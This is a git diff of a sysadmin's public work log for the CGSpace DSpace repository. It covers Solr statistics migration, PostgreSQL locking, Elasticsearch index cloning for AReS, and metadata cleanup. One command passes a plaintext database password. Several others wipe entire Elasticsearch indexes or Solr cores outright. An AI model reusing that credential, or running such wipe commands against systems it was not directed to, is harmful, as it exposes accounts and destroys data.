    • +
+
  facet=true&facet.mincount=1&facet.field=owningComm&facet.limit=1&facet.offset=0&stats=true&stats.field=id&stats.calcdistinct=true
+
    +
  • Facet by owningComm and get the first 5 distinct:
    • +
+
  facet=true&facet.mincount=1&facet.field=owningComm&facet.limit=5&facet.offset=0&facet.pivot=id,countryCode
+
    +
  • Facet by owningComm and countryCode using facet.pivot and maybe I can just skip the normal facet params?
    • +
+
facet=true&f.owningComm.facet.limit=5&f.owningComm.facet.offset=5&facet.pivot=owningComm,countryCode
+
    +
  • Facet by owningComm and countryCode using facet.pivot and limiting to top five countries… fuck it’s possible!
    • +
+
facet=true&f.owningComm.facet.limit=5&f.owningComm.facet.offset=5&f.countryCode.facet.limit=5&facet.pivot=owningComm,countryCode
+

2020-11-23

+ +

2020-11-24

+
    +
  • Yesterday Abenet asked me to investigate why AReS only shows 9,000 “livestock” terms in the ILRI community on AReS, but on CGSpace we have over 10,000 +
      +
    • I added the lowercase formatter to all center and CRP subjects fields and re-harvested
      • +
    • Now I see there are 9,999, which seems suspicious
      • +
    • I filed a bug on GitHub: https://github.com/ilri/OpenRXV/issues/61
      • +
    +
    • +
  • Help Abenet map an item on CGSpace for CIAT +
      +
    • If I search for the entire item title I don’t get any results, but I notice this item had a “:” in the title, so I tried searching for part of the title without the colon and it worked
      • +
    • It is a mystery to me that you can’t map an item using its Handle…
      • +
    +
    • +
  • I started processing the statistics-2011 core with Atmire’s AtomicStatisticsUpdateCLI tool
    • +
  • I called Moayad and we worked on the views/downloads issue on OpenRXV +
      +
    • It turns out to be a mapping (schema) issue in Elasticsearch due to DSpace 6 UUIDs (LOL!!)
      • +
    +
    • +
+

2020-11-25

+
    +
  • Zoom meeting with ILRI communicators about CGSpace, Altmetric, and AReS
    • +
  • Send an email to Richard Fulss and Paola Camargo Paz at CIMMYT about having them work closer with us on AReS
    • +
  • Send an email to Usman at CIFOR to ask how his DSpace stuff is going
    • +
  • The Atmire AtomicStatisticsUpdateCLI tool finished processing the statistics-2017 core
    • +
  • Atmire responded about the duplicate fields in Solr and said they don’t see them +
      +
    • I sent a few examples that I found after thirty seconds of randomly looking in several Solr cores
      • +
    +
    • +
+

2020-11-27

+
    +
  • I finished processing the statistics-2016 core with the AtomicStatisticsUpdateCLI tool so I started the statistics-2015 core
    • +
+

2020-11-28

+
    +
  • I finished processing the statistics-2015 core with the AtomicStatisticsUpdateCLI tool so I started the statistics-2014 core
    • +
  • I finished processing the statistics-2014 core with the AtomicStatisticsUpdateCLI tool so I started the statistics-2013 core
    • +
  • I finished processing the statistics-2014 core with the AtomicStatisticsUpdateCLI tool so I started the statistics-2012 core
    • +
  • I finished processing the statistics-2014 core with the AtomicStatisticsUpdateCLI tool so I started the statistics-2012 core
    • +
  • I finished processing the statistics-2014 core with the AtomicStatisticsUpdateCLI tool so I started the statistics-2010 core
    • +
+

2020-11-29

+ +

2020-11-30

+
    +
  • Ben Hack asked for the ILRI subject we are using on CGSpace +
      +
    • I linked him the input-forms.xml file and also sent him a list of 112 terms extracted with xml from the xmlstarlet package:
      • +
    +
    • +
+
$ xml sel -t -m '//value-pairs[@value-pairs-name="ilrisubject"]/pair/displayed-value/text()' -c '.' -n dspace/config/input-forms.xml
+
    +
  • IWMI sent me a few new ORCID identifiers so I combined them with our existing ones as well as another ILRI one that Tezira asked me to update, filtered the unique ones, and then resolved their names using my resolve-orcids.py script:
    • +
+
$ cat ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml /tmp/iwmi-orcids.txt /tmp/hung.txt | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort | uniq > /tmp/2020-11-30-combined-orcids.txt
+$ ./resolve-orcids.py -i /tmp/2020-11-30-combined-orcids.txt -o /tmp/2020-11-30-combined-orcids-names.txt -d
+# sort names, copy to cg-creator-id.xml, add XML formatting, and then format with tidy (preserving accents)
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-id.xml
+
    +
  • I used my fix-metadata-values.py script to update the old occurences of Hung’s ORCID and some others that I see have changed:
    • +
+
$ cat 2020-11-30-fix-hung-orcid.csv
+cg.creator.id,correct
+"Hung Nguyen-Viet: 0000-0001-9877-0596","Hung Nguyen-Viet: 0000-0003-1549-2733"
+"Adriana Tofiño: 0000-0001-7115-7169","Adriana Tofiño Rivera: 0000-0001-7115-7169"
+"Cristhian Puerta Rodriguez: 0000-0001-5992-1697","David Puerta: 0000-0001-5992-1697"
+"Ermias Betemariam: 0000-0002-1955-6995","Ermias Aynekulu: 0000-0002-1955-6995"
+"Hirut Betaw: 0000-0002-1205-3711","Betaw Hirut: 0000-0002-1205-3711"
+"Megan Zandstra: 0000-0002-3326-6492","Megan McNeil Zandstra: 0000-0002-3326-6492"
+"Tolu Eyinla: 0000-0003-1442-4392","Toluwalope Emmanuel: 0000-0003-1442-4392"
+"VInay Nangia: 0000-0001-5148-8614","Vinay Nangia: 0000-0001-5148-8614"
+$ ./fix-metadata-values.py -i 2020-11-30-fix-hung-orcid.csv -db dspace63 -u dspacetest -p 'dom@in34sniper' -f cg.creator.id -t 'correct' -m 240
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-12/index.html b/docs/2020-12/index.html new file mode 100644 index 000000000..1b050b4b3 --- /dev/null +++ b/docs/2020-12/index.html @@ -0,0 +1,923 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + December, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

December, 2020

+

+ + in + Notes + + +

+
+

2020-12-01

+
    +
  • Atmire responded about the issue with duplicate data in our Solr statistics +
      +
    • They noticed that some records in the statistics-2015 core haven’t been migrated with the AtomicStatisticsUpdateCLI tool yet and assumed that I haven’t migrated any of the records yet
      • +
    • That’s strange, as I checked all ten cores and 2015 is the only one with some unmigrated documents, as according to the cua_version field
      • +
    • I started processing those (about 411,000 records):
      • +
    +
    • +
+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2015
+
    +
  • AReS went down when the renew-letsencrypt service stopped the angular_nginx container in the pre-update hook and failed to bring it back up +
      +
    • I ran all system updates on the host and rebooted it and AReS came back up OK
      • +
    +
    • +
+

2020-12-02

+
    +
  • Udana emailed me yesterday to ask why the CGSpace usage statistics were showing “No Data” +
      +
    • I noticed a message in the Solr Admin UI that one of the statistics cores failed to load, but it is up and I can query it…
      • +
    • Nevertheless, I restarted Tomcat a few times to see if all cores would come up without an error message, but had no success (despite that all cores ARE up and I can query them, sigh)
      • +
    • I think I will move all the Solr yearly statistics back into the main statistics core
      • +
    +
    • +
  • Start testing export/import of yearly Solr statistics data into the main statistics core on DSpace Test, for example:
    • +
+
$ ./run.sh -s http://localhost:8081/solr/statistics-2010 -a export -o statistics-2010.json -k uid
+$ ./run.sh -s http://localhost:8081/solr/statistics -a import -o statistics-2010.json -k uid
+$ curl -s "http://localhost:8081/solr/statistics-2010/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:*</query></delete>"
+
    +
  • I deployed Tomcat 7.0.107 on DSpace Test (CGSpace is still Tomcat 7.0.104)
    • +
  • I finished migrating all the statistics from the yearly shards back to the main core
    • +
+

2020-12-05

+
    +
  • I deleted all the yearly statistics shards and restarted Tomcat on DSpace Test (linode26)
    • +
+

2020-12-06

+
    +
  • Looking into the statistics on DSpace Test after I migrated them back to the main core +
      +
    • All stats are working as expected… indexing time for the DSpace Statistics API is the same… and I don’t even see a difference in the JVM or memory stats in Munin other than a minor jump last week when I was processing them
      • +
    +
    • +
  • I will migrate them on CGSpace too I think +
      +
    • First I will start with the statistics-2010 and statistics-2015 cores because they were the ones that were failing to load recently (despite actually being available in Solr WTF)
      • +
    +
    • +
+

Error message in Solr admin UI about the statistics-2010 core failing to load

+
    +
  • First the 2010 core:
    • +
+
$ chrt -b 0 ./run.sh -s http://localhost:8081/solr/statistics-2010 -a export -o statistics-2010.json -k uid
+$ chrt -b 0 ./run.sh -s http://localhost:8081/solr/statistics -a import -o statistics-2010.json -k uid
+$ curl -s "http://localhost:8081/solr/statistics-2010/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:*</query></delete>"
+
    +
  • Judging by the DSpace logs all these cores had a problem starting up in the last month:
    • +
+
# grep -rsI "Unable to create core" [dspace]/log/dspace.log.2020-* | grep -o -E "statistics-[0-9]+" | sort | uniq -c
+     24 statistics-2010
+     24 statistics-2015
+     18 statistics-2016
+      6 statistics-2018
+
    +
  • The message is always this:
    • +
+
org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Error CREATEing SolrCore 'statistics-2016': Unable to create core [statistics-2016] Caused by: Lock obtain timed out: NativeFSLock@/[dspace]/solr/statistics-2016/data/index/write.lock
+
    +
  • I will migrate all these cores and see if it makes a difference, then probably end up migrating all of them +
      +
    • I removed the statistics-2010, statistics-2015, statistics-2016, and statistics-2018 cores and restarted Tomcat and all the statistics cores came up OK and the CUA statistics are OK!
      • +
    +
    • +
+

2020-12-07

+
    +
  • Run dspace cleanup -v on CGSpace to clean up deleted bitstreams
    • +
  • Atmire sent a pull request to address the duplicate owningComm and owningColl + +
    • +
  • Abenet and Tezira are having issues with committing to the archive in their workflow +
      +
    • I looked at the server and indeed the locks and transactions are back up:
      • +
    +
    • +
+

PostgreSQL Transactions day +PostgreSQL Locks day +PostgreSQL Locks day +PostgreSQL Connections day

+
    +
  • There are apparently 1,700 locks right now:
    • +
+
$ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | wc -l
+1739
+

2020-12-08

+
    +
  • Atmire sent some instructions for using the DeduplicateValuesProcessor +
      +
    • I modified atmire-cua-update.xml as they instructed, but I get a million errors like this when I run AtomicStatisticsUpdateCLI with that configuration:
      • +
    +
    • +
+
Record uid: 64387815-d9a7-4605-8024-1c0a5c7520e0 couldn't be processed
+com.atmire.statistics.util.update.atomic.ProcessingException: something went wrong while processing record uid: 64387815-d9a7-4605-8024-1c0a5c7520e0, an error occured in the com.atmire.statistics.util.update.atomic.processor.DeduplicateValuesProcessor
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.applyProcessors(SourceFile:304)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.processRecords(SourceFile:176)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(SourceFile:161)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(SourceFile:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(SourceFile:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+Caused by: java.lang.UnsupportedOperationException
+        at org.apache.solr.common.SolrDocument$1.entrySet(SolrDocument.java:256)
+        at java.util.HashMap.putMapEntries(HashMap.java:512)
+        at java.util.HashMap.<init>(HashMap.java:490)
+        at com.atmire.statistics.util.update.atomic.record.Record.getFieldValuesMap(SourceFile:86)
+        at com.atmire.statistics.util.update.atomic.processor.DeduplicateValuesProcessor.process(SourceFile:38)
+        at com.atmire.statistics.util.update.atomic.processor.DeduplicateValuesProcessor.visit(SourceFile:34)
+        at com.atmire.statistics.util.update.atomic.record.UsageRecord.accept(SourceFile:23)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.applyProcessors(SourceFile:301)
+        ... 10 more
+
    +
  • I sent some feedback to Atmire +
      +
    • They responded with an updated CUA (6.x-4.1.10-ilri-RC7) that has a fix for the duplicates processor and a possible fix for the database locking issues (a bug in CUASolrLoggerServiceImpl that causes an infinite loop and a Tomcat timeout)
      • +
    • I deployed the changes on DSpace Test and CGSpace, hopefully it will fix both issues!
      • +
    +
    • +
  • In other news, after I restarted Tomcat on CGSpace the statistics-2013 core didn’t come back up properly, so I exported it and imported it into the main statistics core like I did for the others a few days ago
    • +
  • Sync DSpace Test with CGSpace’s Solr, PostgreSQL database, and assetstore…
    • +
+

2020-12-09

+
    +
  • I was running the AtomicStatisticsUpdateCLI to remove duplicates on DSpace Test but it failed near the end of the statistics core (after 20 hours or so) with a memory error:
    • +
+
Successfully finished updating Solr Storage Reports | Wed Dec 09 15:25:11 CET 2020
+Run 1 —  67% — 10,000/14,935 docs — 6m 6s — 6m 6s
+Exception: GC overhead limit exceeded
+java.lang.OutOfMemoryError: GC overhead limit exceeded
+        at org.noggit.CharArr.toString(CharArr.java:164)
+
    +
  • I increased the JVM heap to 2048m and tried again, but it failed with a memory error again…
    • +
  • I increased the JVM heap to 4096m and tried again, but it failed with another error:
    • +
+
Successfully finished updating Solr Storage Reports | Wed Dec 09 15:53:40 CET 2020
+Exception: parsing error
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: parsing error
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:530)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.QueryRequest.process(QueryRequest.java:91)
+        at org.apache.solr.client.solrj.SolrServer.query(SolrServer.java:301)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.getNextSetOfSolrDocuments(SourceFile:392)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.performRun(SourceFile:157)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdater.update(SourceFile:128)
+        at com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI.main(SourceFile:78)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+Caused by: org.apache.solr.common.SolrException: parsing error
+        at org.apache.solr.client.solrj.impl.BinaryResponseParser.processResponse(BinaryResponseParser.java:45)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:528)
+        ... 14 more
+Caused by: org.apache.http.TruncatedChunkException: Truncated chunk ( expected size: 8192; actual size: 2843)
+        at org.apache.http.impl.io.ChunkedInputStream.read(ChunkedInputStream.java:200)
+        at org.apache.http.conn.EofSensorInputStream.read(EofSensorInputStream.java:137)
+        at org.apache.solr.common.util.FastInputStream.readWrappedStream(FastInputStream.java:80)
+        at org.apache.solr.common.util.FastInputStream.refill(FastInputStream.java:89)
+        at org.apache.solr.common.util.FastInputStream.read(FastInputStream.java:125)
+        at org.apache.solr.common.util.FastInputStream.readFully(FastInputStream.java:152)
+...
+

2020-12-10

+
    +
  • The statistics-2019 core finished processing the duplicate removal so I started the statistics-2017 core
    • +
  • Peter asked me to add ONE HEALTH to ILRI subjects on CGSpace
    • +
  • A few items that got “lost” after approval during the database issues earlier this week seem to have gone back into their workflows +
      +
    • Abenet approved them again and they got new handles, phew
      • +
    +
    • +
  • Abenet was having an issue with the date filter on AReS and it turns out that it’s the same .keyword issue I had noticed before that causes the filter to stop working + +
    • +
  • I checked the Solr statistics on DSpace Test to see if the Atmire duplicates remover was working, but now I see a comical amount of duplicates…
    • +
+

Solr stats with dozens of duplicates

+
    +
  • I sent feedback about this to Atmire
    • +
  • I will re-sync the Solr stats from CGSpace so we can try again…
    • +
  • In other news, it has been a few days since we deployed the fix for the database locking issue and things seem much better now:
    • +
+

PostgreSQL connections all week +PostgreSQL locks all week

+

2020-12-13

+
    +
  • I tried to harvest a few times on OpenRXV in the last few days and every time it appends all the new records to the items index instead of overwriting it:
    • +
+

OpenRXV duplicates

+
    +
  • I can see it in the openrxv-items-final index:
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-final/_count?q=*' | json_pp
+{
+   "_shards" : {
+      "failed" : 0,
+      "skipped" : 0,
+      "successful" : 1,
+      "total" : 1
+   },
+   "count" : 299922
+}
+
+
$ curl -XDELETE http://localhost:9200/openrxv-items-final
+{"acknowledged":true}%
+
    +
  • Moayad said he’s working on the harvesting so I stopped it for now to re-deploy his latest changes
    • +
  • I updated Tomcat to version 7.0.107 on CGSpace (linode18), ran all updates, and restarted the server
    • +
  • I deleted both items indexes and restarted the harvesting:
    • +
+
$ curl -XDELETE http://localhost:9200/openrxv-items-final
+$ curl -XDELETE http://localhost:9200/openrxv-items-temp
+
    +
  • Peter asked me for a list of all submitters and approvers that were active recently on CGSpace +
      +
    • I can probably extract that from the dc.description.provenance field, for example any that contains a 2020 date:
      • +
    +
    • +
+
localhost/dspace63= > SELECT * FROM metadatavalue WHERE metadata_field_id=28 AND text_value ~ '^.*on 2020-[0-9]{2}-*';
+

2020-12-14

+
    +
  • The re-harvesting finished last night on AReS but there are no records in the openrxv-items-final index +
      +
    • Strangely, there are 99,000 items in the temp index:
      • +
    +
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*' | json_pp
+{
+   "count" : 99992,
+   "_shards" : {
+      "skipped" : 0,
+      "total" : 1,
+      "failed" : 0,
+      "successful" : 1
+   }
+}
+
    +
  • I’m going to try to clone the temp index to the final one… +
      +
    • First, set the openrxv-items-temp index to block writes (read only) and then clone it to openrxv-items-final:
      • +
    +
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items-final
+{"acknowledged":true,"shards_acknowledged":true,"index":"openrxv-items-final"}
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+
    +
  • Now I see that the openrxv-items-final index has items, but there are still none in AReS Explorer UI!
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-final/_count?q=*&pretty'
+{
+  "count" : 99992,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+
    +
  • The api logs show this from last night after the harvesting:
    • +
+
[Nest] 92   - 12/13/2020, 1:58:52 PM   [HarvesterService] Starting Harvest
+[Nest] 92   - 12/13/2020, 10:50:20 PM   [FetchConsumer] OnGlobalQueueDrained
+[Nest] 92   - 12/13/2020, 11:00:20 PM   [PluginsConsumer] OnGlobalQueueDrained
+[Nest] 92   - 12/13/2020, 11:00:20 PM   [HarvesterService] reindex function is called
+(node:92) UnhandledPromiseRejectionWarning: ResponseError: index_not_found_exception
+    at IncomingMessage.<anonymous> (/backend/node_modules/@elastic/elasticsearch/lib/Transport.js:232:25)
+    at IncomingMessage.emit (events.js:326:22)
+    at endReadableNT (_stream_readable.js:1223:12)
+    at processTicksAndRejections (internal/process/task_queues.js:84:21)
+
    +
  • But I’m not sure why the frontend doesn’t show any data despite there being documents in the index…
    • +
  • I talked to Moayad and he reminded me that OpenRXV uses an alias to point to temp and final indexes, but the UI actually uses the openrxv-items index
    • +
  • I cloned the openrxv-items-final index to openrxv-items index and now I see items in the explorer UI
    • +
  • The PDF report was broken and I looked in the API logs and saw this:
    • +
+
(node:94) UnhandledPromiseRejectionWarning: Error: Error: Could not find soffice binary
+    at ExportService.downloadFile (/backend/dist/export/services/export/export.service.js:51:19)
+    at processTicksAndRejections (internal/process/task_queues.js:97:5)
+
    +
  • I installed unoconv in the backend api container and now it works… but I wonder why this changed…
    • +
  • Skype with Abenet and Peter to discuss AReS that will be shown to ILRI scientists this week +
      +
    • Peter noticed that this item from the ILRI policy and research briefs collection is missing in AReS, despite it being added one month ago in CGSpace and me harvesting on AReS last night +
        +
      • The item appears fine in the REST API when I check the items in that collection
        • +
      +
      • +
    • Peter also noticed that this item appears twice in AReS +
        +
      • The item is not duplicated on CGSpace or in the REST API
        • +
      +
      • +
    • We noticed that there are 136 items in the ILRI policy and research briefs collection according to AReS, yet on CGSpace there are only 132 +
        +
      • This is confirmed in the REST API (using query-json):
        • +
      +
      • +
    +
    • +
+
$ http --print b 'https://cgspace.cgiar.org/rest/collections/defee001-8cc8-4a6c-8ac8-21bb5adab2db?expand=all&limit=100&offset=0' | json_pp > /tmp/policy1.json
+$ http --print b 'https://cgspace.cgiar.org/rest/collections/defee001-8cc8-4a6c-8ac8-21bb5adab2db?expand=all&limit=100&offset=100' | json_pp > /tmp/policy2.json
+$ query-json '.items | length' /tmp/policy1.json
+100
+$ query-json '.items | length' /tmp/policy2.json
+32
+
    +
  • I realized that the issue of missing/duplicate items in AReS might be because of this REST API bug that causes /items to return items in non-deterministic order
    • +
  • I decided to cherry-pick the following two patches from DSpace 6.4 into our 6_x-prod (6.3) branch: + +
    • +
  • After deploying the REST API fixes I decided to harvest from AReS again to see if the missing and duplicate items get fixed +
      +
    • I made a backup of the current openrxv-items-temp index just in case:
      • +
    +
    • +
+
$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -s -X POST http://localhost:9200/openrxv-items-temp/_clone/openrxv-items-2020-12-14
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+

2020-12-15

+
    +
  • After the re-harvest last night there were 200,000 items in the openrxv-items-temp index again +
      +
    • I cleared the core and started a re-harvest, but Peter sent me a bunch of author corrections for CGSpace so I decided to cancel it until after I apply them and re-index Discovery
      • +
    +
    • +
  • I checked the 1,534 fixes in Open Refine (had to fix a few UTF-8 errors, as always from Peter’s CSVs) and then applied them using the fix-metadata-values.py script:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2020-10-28-fix-1534-Authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t 'correct' -m 3
+$ ./delete-metadata-values.py -i /tmp/2020-10-28-delete-2-Authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -m 3
+
    +
  • Since I was re-indexing Discovery anyways I decided to check for any uppercase AGROVOC and lowercase them:
    • +
+
dspace=# BEGIN;
+BEGIN
+dspace=# UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=57 AND text_value ~ '[[:upper:]]';
+UPDATE 406
+dspace=# COMMIT;
+COMMIT
+
    +
  • I also updated the Font Awesome icon classes for version 5 syntax:
    • +
+
dspace=# BEGIN;
+dspace=# UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, 'fa fa-rss','fas fa-rss', 'g') WHERE text_value LIKE '%fa fa-rss%';
+UPDATE 74
+dspace=# UPDATE metadatavalue SET text_value = REGEXP_REPLACE(text_value, 'fa fa-at','fas fa-at', 'g') WHERE text_value LIKE '%fa fa-at%';
+UPDATE 74
+dspace=# COMMIT;
+
    +
  • Then I started a full Discovery re-index:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m"
+$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    265m11.224s
+user    171m29.141s
+sys     2m41.097s
+
    +
  • Udana sent a report that the WLE approver is experiencing the same issue Peter highlighted a few weeks ago: they are unable to save metadata edits in the workflow
    • +
  • Yesterday Atmire responded about the owningComm and owningColl duplicates in Solr saying they didn’t see any anymore… +
      +
    • Indeed I spent a few minutes looking randomly and I didn’t find any either…
      • +
    • I did, however, see lots of duplicates in countryCode_search, countryCode_ngram, ip_search, ip_ngram, userAgent_search, userAgent_ngram, referrer_search, referrer_ngram fields
      • +
    • I sent feedback to them
      • +
    +
    • +
  • On the database locking front we haven’t had issues in over a week and the Munin graphs look normal:
    • +
+

PostgreSQL connections all week +PostgreSQL locks all week

+
    +
  • After the Discovery re-indexing finished on CGSpace I prepared to start re-harvesting AReS by making sure the openrxv-items-temp index was empty and that the backup index I made yesterday was still there:
    • +
+
$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp?pretty'
+{
+  "acknowledged" : true
+}
+$ curl -s 'http://localhost:9200/openrxv-items-final/_count?q=*&pretty'
+{
+  "count" : 0,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -s 'http://localhost:9200/openrxv-items-2020-12-14/_count?q=*&pretty'
+{
+  "count" : 99992,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+

2020-12-16

+
    +
  • The harvesting on AReS finished last night so this morning I manually cloned the openrxv-items-temp index to openrxv-items +
      +
    • First check the number of items in the temp index, then set it to read only, then delete the items index, then delete the temp index:
      • +
    +
    • +
+
$ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty'
+{
+  "count" : 100046,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": true}}'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items?pretty'
+$ curl -s -X POST "http://localhost:9200/openrxv-items-temp/_clone/openrxv-items?pretty"
+$ curl -s 'http://localhost:9200/openrxv-items/_count?q=*&pretty'
+{
+  "count" : 100046,
+  "_shards" : {
+    "total" : 1,
+    "successful" : 1,
+    "skipped" : 0,
+    "failed" : 0
+  }
+}
+$ curl -X PUT "localhost:9200/openrxv-items-temp/_settings?pretty" -H 'Content-Type: application/json' -d'{"settings": {"index.blocks.write": false}}'
+$ curl -XDELETE 'http://localhost:9200/openrxv-items-temp?pretty'
+
    +
  • Interestingly the item that we noticed was duplicated now only appears once
    • +
  • The missing item is still missing
    • +
  • Jane Poole noticed that the “previous page” and “next page” buttons are not working on AReS + +
    • +
  • Generate a list of submitters and approvers active in the last months using the Provenance field on CGSpace:
    • +
+
$ psql -h localhost -U postgres dspace -c "SELECT text_value FROM metadatavalue WHERE metadata_field_id=28 AND text_value ~ '^.*on 2020-(06|07|08|09|10|11|12)-*'" > /tmp/provenance.txt
+$ grep -o -E 'by .*)' /tmp/provenance.txt | grep -v -E "( on |checksum)" | sed -e 's/by //' -e 's/ (/,/' -e 's/)//' | sort | uniq > /tmp/recent-submitters-approvers.csv
+
    +
  • Peter wanted it to send some mail to the users…
    • +
+

2020-12-17

+
    +
  • I see some errors from CUA in our Tomcat logs:
    • +
+
Thu Dec 17 07:35:27 CET 2020 | Query:containerItem:b049326a-0e76-45a8-ac0c-d8ec043a50c6
+Error while updating
+java.lang.UnsupportedOperationException: Multiple update components target the same field:solr_update_time_stamp
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl$5.visit(SourceFile:1155)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.visitEachStatisticShard(SourceFile:241)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.update(SourceFile:1140)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.update(SourceFile:1129)
+...
+
    +
  • I sent the full stack to Atmire to investigate +
      +
    • I know we’ve had this “Multiple update components target the same field” error in the past with DSpace 5.x and Atmire said it was harmless, but would nevertheless be fixed in a future update
      • +
    +
    • +
  • I was trying to export the ILRI community on CGSpace so I could update one of the ILRI author’s names, but it throws an error…
    • +
+
$ dspace metadata-export -i 10568/1 -f /tmp/2020-12-17-ILRI.csv
+Loading @mire database changes for module MQM
+Changes have been processed
+Exporting community 'International Livestock Research Institute (ILRI)' (10568/1)
+           Exception: null
+java.lang.NullPointerException
+        at com.google.common.base.Preconditions.checkNotNull(Preconditions.java:212)
+        at com.google.common.collect.Iterators.concat(Iterators.java:464)
+        at org.dspace.app.bulkedit.MetadataExport.addItemsToResult(MetadataExport.java:136)
+        at org.dspace.app.bulkedit.MetadataExport.buildFromCommunity(MetadataExport.java:125)
+        at org.dspace.app.bulkedit.MetadataExport.<init>(MetadataExport.java:77)
+        at org.dspace.app.bulkedit.MetadataExport.main(MetadataExport.java:282)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • I did it via CSV with fix-metadata-values.py instead:
    • +
+
$ cat 2020-12-17-update-ILRI-author.csv
+dc.contributor.author,correct
+"Padmakumar, V.P.","Varijakshapanicker, Padmakumar"
